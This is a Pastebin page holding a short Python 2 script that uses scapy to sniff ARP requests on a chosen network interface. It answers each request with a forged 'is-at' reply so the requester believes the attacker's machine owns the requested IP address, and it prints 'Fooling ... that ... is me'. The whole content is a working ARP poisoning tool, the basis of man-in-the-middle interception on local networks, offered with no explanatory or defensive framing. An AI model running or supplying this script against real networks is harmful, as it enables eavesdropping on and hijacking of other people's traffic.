Advertisement
Guest User

Untitled

a guest
Apr 26th, 2017
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.64 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys
  4. from scapy.all import sniff, sendp, ARP, Ether
  5.  
  6. if len(sys.argv) < 2:
  7.     print sys.argv[0] + " <iface>"
  8.  
  9.     sys.exit(0)
  10.    
  11. def arp_poison_callback(packet):
  12.     # Got ARP request?
  13.     if packet[ARP].op == 1:
  14.         answer = Ether(dst=packet[ARP].hwsrc) / ARP()
  15.         answer[ARP].op = "is-at"
  16.         answer[ARP].hwdst = packet[ARP].hwsrc
  17.         answer[ARP].psrc = packet[ARP].pdst
  18.         answer[ARP].pdst = packet[ARP].psrc
  19.        
  20.         print "Fooling " + packet[ARP].psrc + " that " + \
  21.             packet[ARP].pdst + " is me"
  22.            
  23.         sendp(answer, iface=sys.argv[1])
  24.        
  25. sniff(prn=arp_poison_callback,
  26.         filter = "arp",
  27.         iface=sys.argv[1],
  28.         store=0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement